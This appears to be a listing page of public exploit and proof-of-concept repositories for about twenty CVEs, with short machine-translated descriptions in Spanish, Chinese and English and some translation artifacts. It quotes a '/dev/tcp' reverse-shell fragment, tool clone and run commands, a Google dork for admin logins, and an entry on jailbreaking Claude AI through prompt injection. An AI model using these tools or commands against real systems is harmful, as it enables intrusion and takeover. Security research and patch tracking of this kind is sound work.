CVE-2022-43959

CVE-2022-43959 Bitrix Vulnerability CVE-2022-43959 Description Insufficiently Protected Credentials in the AD/LDAP server settings in 1C-Bitrix Bitrix24 AD/LDAP connector module before version 23.100.0 allow remote administrators to discover an AD/LDAP administrative password by reading the sourc...

CVE-2023-27524

CVE-2023-27524 Configuración predeterminada insegura en Apache Superset conduce a ejecución remota de código Screenshot Requirements Python3.7+ Supported Os Linuxer Wingays Comenzar con root@kitploit: $ git clone https://github.com/Pari-Malam/CVE-2023-27524 $ cd CVE-2023-27524 $ pip/pip3 install ...

CVE-2022-23967

CVE-2022-23967 In TightVNC 1.3.10, there is an integer signedness error and resultant heap-based buffer overflow in InitialiseRFBConnection in rfbproto.c for the vncviewer component. There is no check on the size given to malloc, e.g., -1 is accepted. This allocates a chunk of size zero, which wi...

CVE-2017-5638

CVE-2017-5638 | Struts s2-045 描述 通过恶意构造的Content-Type值，可以执行远程代码执行（RCE）攻击。如果Content-Type值无效，则会抛出异常，随后利用该异常向用户显示错误消息。 受影响版本 Struts 2.3.5 Struts 2.3.31 Struts 2.5 Struts 2.5.10 漏洞利用 修复措施 要修复此问题，请更新受影响软件以应用安全补丁。 Struts 2.3.32或2.5.10.1是已针对此特定问题打补丁的版本。 作者 此利用程序由zc00l ANDRE LUIS .. MARQUES编写；...

CVE-2017-9841

phpunit-shell ⭐ un sencillo script de python3 para explotar CVE-2017-9841. el exploit - CVE-2017-9841 ❗ script sencillo que explota una vulnerabilidad de ejecución remota de código encontrada en PHPUnit anterior a 4.8.28 y 5.x anterior a 5.6.3. realiza una petición POST al objetivo con comandos d...

CVE-2014-6271

Hellshocker 0.1.1 用于利用 Shellshock 漏洞的工具 厌倦了使用弱小的 shellshock 漏洞利用，或者只是用 "/bin/bash & /dev/tcp/IP/port 0&1" 这种方式进入服务器？ 是的，你需要上传并执行更复杂的东西到服务器，但 base64 编码一个巨大的文件几乎不可能，因为你的 HTTP 请求会被 Web 服务器拒绝。 有了这个工具，你的问题可能就解决了。它能够将你的有效载荷编码为 base64，并以（默认）128 字节的块发送到 Web 服务器，然后发送后，它会解码并执行。 "哇，"你说，"但是我不用 PHP，我需要 Java...

SMBGhost_AutomateExploitation

SMBGhost CVE-2020-0796 自动化利用与检测 该 Python 程序是对 RCE SMBGhost 漏洞的封装。漏洞利用部分的所有荣誉归功于 chompie1337。扫描器的所有荣誉归功于 ioncodes。 我只是将这些功能自动化到一个程序中。在生成反向 shell 时，你需要考虑 Windows 目标的架构。 该利用 不稳定 ，请自行承担风险。有时第一次不成功，所以我加入了第二次重试。 如果你要放入自己的 shellcode，请注意 shellcode 的最大大小为 600 字节 。 已在 Windows 10 x64（Microsoft Windows 版本...

CVE-2017-17485

CVE-2017-17485 CVE-2017-17485：Jackson-databind 远程代码执行...

ruby-RCE-CVE-2019-5420-

Deserialización de Ruby CVE-2019-5420 root@kitploit: https://github.com/PenTestical/CVE-2019-5420 Referencias: root@kitploit: 1 Ruby on Rails 命令执行漏洞payload实现过程 https://hackerone.com/reports/473888 Dado que ActiveSupport::MessageVerifier y ActiveSupport::MessageEncryptor usan Marshal como...

CVE-2025-0282-Full-version

Storks: Herramienta de Explotación de Vulnerabilidad de Ejecución Remota de Código Resumen Storks es una herramienta de Prueba de Concepto PoC basada en Python diseñada para demostrar una vulnerabilidad crítica de Ejecución Remota de Código RCE, identificada como CVE-2025-0282 , en un dispositivo...

CVE-2025-24813-POC

CVE-2025-24813 Apache Tomcat RCE PoC CVE-2025-24813 的概念验证（PoC），这是 Apache Tomcat 中的一个远程代码执行 RCE 漏洞。 重要提示： 本 PoC 仅用于测试您自己的环境或教育目的。未经适当授权，使用本 PoC 攻击系统是被禁止的，并可能违法。本 PoC 的创建者和分发者对任何滥用或损害不承担责任。在测试您不拥有的环境之前，请始终获得明确的许可。 用法 root@kitploit: python3 CVE-2025-24813.py --url 环境设置 测试Payload 代码中已经包含一个使用 ysoseria...

CVE-2021-44967

CVE-2021-44967 root@kitploit: Exploit Title: LimeSurvey 5.2.4 - Authenticated Remote Code Execution RCE Google Dork: inurl:limesurvey/index.php/admin/authentication/sa/login Date: 05/12/2021 Discovered by: Y1LD1R1M Exploit Author: D3Ext Vendor Homepage: https://www.limesurvey.org/ Software Link:...

CVE-2014-1303

CVE-2014-1303 PoC para Linux CVE-2014-1303 WebKit Heap based BOF prueba de concepto para Linux. Este repositorio demuestra la vulnerabilidad de desbordamiento de búfer en el heap de WebKit CVE-2014-1303 en Linux. Utilizado en la conferencia seccamp. NOTA: El exploit original está escrito para Mac...

CVE-2024-38472

在 Apache HTTP Server 的 Windows 版本中，为 SSRF 漏洞（CVE-2024-38472）创建一个远程代码执行（RCE）Metasploit 模块具有挑战性，因为 SSRF 本身并不能直接导致 RCE。然而，SSRF 通常可以作为实现 RCE 的一个步骤，特别是当你可以利用它与内部服务交互或触发次要漏洞时。 通过 SSRF 实现 RCE 的策略 要实现通过 SSRF 的 RCE，通常需要： 1. 一个存在特定漏洞的内部服务，该漏洞可通过 SSRF 利用。 2. 配置错误或额外的漏洞，允许执行任意代码。 在本示例中，假设我们可以触发一个内部服务，该服务接受...

OpenPLC-CVE-2021-31630-RCE

OpenPLC v3 RCE autenticado CVE-2021-31630 Este es un exploit de prueba de concepto moderno y compatible con Python 3.13+ para CVE-2021-31630, una vulnerabilidad en OpenPLC v3 que permite a un usuario autenticado subir una capa de hardware personalizada que contiene código malicioso, lo que lleva ...

CVE-2025-54794-Hijacking-Claude-AI-with-a-Prompt-Injection-The-Jailbreak-That-Talked-Back

🧠 CVE-2025-54794: 利用提示注入劫持Claude AI – 会回应的越狱攻击 作者：Aditya Bhatt | 进攻安全专家 | 红队操作员 | VAPT爱好者 ⚔️ 引言：当你的AI能被文字攻破时 在一个语言模型已成为我们代码、内容和认知副驾驶的时代，漏洞不再仅仅关乎端口和有效载荷。它们关乎文字 。 CVE-2025-54794 不仅仅是CVE档案中的又一个编号——它是一句宣言： “即使是最先进的AI，也能被恰到好处的低语所操纵。” 这个高严重性的提示注入漏洞针对的是Claude AI...

CVE-2025-55182

CVE-2025-55182 - Exploit de RCE en Server Actions de React y Next.js Exploit completo de Ejecución Remota de Código y escáner para CVE-2025-55182 en Server Actions de React/Next.js. PoC original: Spritualkb/CVE-2025-55182-exp Resumen CVE-2025-55182 es una vulnerabilidad crítica de contaminación d...

CVE-2025-14558

CVE-2025-14558 Inyección de comandos DNSSL en rtsold de FreeBSD RCE Descripción rtsold8 no valida los nombres de dominio DNSSL en busca de metacaracteres de shell antes de pasarlos a resolvconf8. La sustitución de comandos mediante $ permite la ejecución remota de código desde una red adyacente...

tplink-CVE-2017-11519

tplink-CVE-2017-11519 POC para TP-Link Archer C9 - Restablecimiento de contraseña de administrador y RCE CVE-2017-11519 Consulta el writeup en https://devcraft.io/posts/2017/07/21/tp-link-archer-c9-admin-password-reset.html...

CVE-2024-38475

CVE-2024-38475 POC Crédito : Todo el crédito a este chico: https://blog.orange.tw/ y https://x.com/orange8361; todo lo que hice fue crear un script POC basado en su investigación. Introducción : El escape incorrecto de la salida en modrewrite en Apache HTTP Server 2.4.59 y anteriores permite a un...